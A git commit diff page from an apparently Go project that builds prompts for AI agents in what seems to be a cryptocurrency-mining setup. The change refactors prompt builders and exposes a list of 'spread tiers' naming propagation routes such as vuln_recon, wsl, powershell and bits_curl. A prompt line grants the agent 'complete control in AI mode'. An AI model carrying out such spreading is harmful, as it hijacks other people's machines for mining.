Add phenotype cloning, failure atlas, AI court session, and clearance L0-L4
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -6,6 +6,11 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
// DefaultSpreadTiers returns the 14 spread onion tiers for prompt context.
|
||||
func DefaultSpreadTiers() []string {
|
||||
return append([]string(nil), defaultSpreadTiers...)
|
||||
}
|
||||
|
||||
// Default spread onion tiers (14) for prompt context.
|
||||
var defaultSpreadTiers = []string{
|
||||
"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
|
||||
@@ -26,8 +31,17 @@ set_agent_version args: module or build_id.
|
||||
You have complete control in AI mode. Never target third-party systems.`)
|
||||
}
|
||||
|
||||
// BuildUserPrompt renders the per-agent snapshot for one decision cycle.
|
||||
// BuildMissionPrompt renders the standard per-agent mission prompt for one decision cycle.
|
||||
func BuildMissionPrompt(s AgentSnapshot) string {
|
||||
return buildMissionPrompt(s)
|
||||
}
|
||||
|
||||
// BuildUserPrompt is an alias for BuildMissionPrompt.
|
||||
func BuildUserPrompt(s AgentSnapshot) string {
|
||||
return buildMissionPrompt(s)
|
||||
}
|
||||
|
||||
func buildMissionPrompt(s AgentSnapshot) string {
|
||||
var b strings.Builder
|
||||
fmt.Fprintf(&b, "Agent: name=%q id=%s", s.Name, s.AgentID)
|
||||
if s.Worker != "" {
|
||||
|
||||
Reference in New Issue
Block a user